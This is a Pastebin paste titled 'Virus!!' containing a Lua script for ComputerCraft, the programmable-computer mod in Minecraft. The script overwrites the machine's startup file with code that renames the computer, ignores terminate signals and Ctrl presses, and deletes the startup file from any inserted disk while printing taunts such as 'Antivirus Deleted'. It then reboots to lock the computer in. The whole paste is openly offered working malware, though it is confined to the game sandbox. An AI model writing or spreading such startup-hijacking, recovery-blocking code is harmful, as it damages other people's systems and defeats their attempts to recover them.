Advertisement
CaptainSpaceCat

Virus!!

Jun 3rd, 2015
285
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.93 KB | None | 0 0
  1. local handle = fs.open(shell.resolve("startup"),"w")
  2. handle.write([[
  3. local deleted = nil
  4. term.clear()
  5. term.setCursorPos(1,1)
  6. term.setTextColor(colors.yellow)
  7. print("Virus OS 1.8")
  8. term.setTextColor(colors.white)
  9. shell.run("label set BrokenComp")
  10. print("This comp is fcked!")
  11. while true do
  12.   local a = {os.pullEventRaw()}
  13.   if a[1] == "disk" then
  14.     if fs.exists("disk/startup") then
  15.       shell.run("delete disk/startup")
  16.     end
  17.     term.setTextColor(colors.green)
  18.     textutils.SlowPrint("Antivirus Deleted")
  19.     sleep(.5)
  20.     term.setTextColor(colors.white)
  21.     --write("\n")
  22.     print("nice try")
  23.     local deleted = true
  24.   end
  25.   if a[1] == "disk_eject" then
  26.     if deleted then
  27.       print("get a better antivirus next time")
  28.     end
  29.   end
  30.   if a[1] == "terminate" then
  31.     printError("Terminated")
  32.   end
  33.   if a[1] == "key" and a[2] == 29 then
  34.     print("nice try")
  35.   end
  36. end]])
  37. handle.close()
  38. os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement